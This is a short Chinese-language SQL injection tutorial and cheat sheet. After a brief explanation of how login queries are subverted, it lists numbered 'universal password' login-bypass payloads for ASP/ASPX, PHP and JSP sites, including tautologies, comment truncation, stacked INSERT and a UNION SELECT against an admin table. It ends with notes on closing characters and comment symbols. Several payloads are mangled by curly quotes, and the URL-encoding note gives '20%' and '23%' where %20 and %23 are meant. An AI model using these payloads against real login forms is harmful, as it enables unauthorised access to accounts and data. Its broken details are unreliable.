SQL注入原理
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。
用户登录时,后台执行的数据库查询操作(SQL语句)是:
Select user_id,user_type,email From users Where user_id='用户名' And password='密码'万能密码通常是一个可以代替正确密码的字符串,使得SQL注入语句能够成功执行,从而绕过正常的身份验证流程。
' OR '1'='1:这是一个在SQL注入中使用的典型的万能密码,它通过使得条件始终为真(即'1'='1'),使得原本的查询语句无需正确的用户名和密码即可成功执行。'; INSERT INTO ...:在一些情况下,攻击者可以通过在原本的SQL语句中添加额外的SQL命令,如插入新记录。--:这是一个用于注释掉SQL语句的符号,后续的所有内容都会被视为注释') OR '1'='1:这是另一种在WHERE子句中使用的万能密码,它通过构造一个始终为真的条件,使得查询可以返回所有的记录。
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17:admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
sql闭合符判断
闭合符的定义和用途
在SQL语句中,闭合符用于闭合字符串或括号,确保SQL语句的语法正确。例如,在SQL查询语句中,单引号和双引号用于包围字符串值,而括号用于包围函数或条件表达式。当进行SQL注入时,攻击者会利用这些闭合符来构造恶意的SQL语句,从而绕过应用程序的输入验证,执行未授权的数据库操作。
常见的闭合符类型
单引号:在SQL语句中,单引号用于包围字符串值。例如:
SELECT * FROM users WHERE username = 'admin'。在SQL注入中,攻击者可以通过添加额外的单引号来闭合原有的单引号,从而构造出恶意的SQL语句。双引号:在某些数据库系统中,双引号也可以用于包围字符串值。例如:
SELECT * FROM users WHERE username = "admin"。在SQL注入中,攻击者可以通过添加额外的双引号来闭合原有的双引号。括号:括号用于包围函数或条件表达式。例如:
SELECT * FROM users WHERE username = 'admin' AND (1=1)。在SQL注入中,攻击者可以通过添加额外的括号来闭合原有的括号。
SQL注入中的注释符
1.#, -- (空格),--+都是sql里的注释符,可以使它们后面的语句不被执行。
2.url中, (空格)转换为20%
#转换为23%
#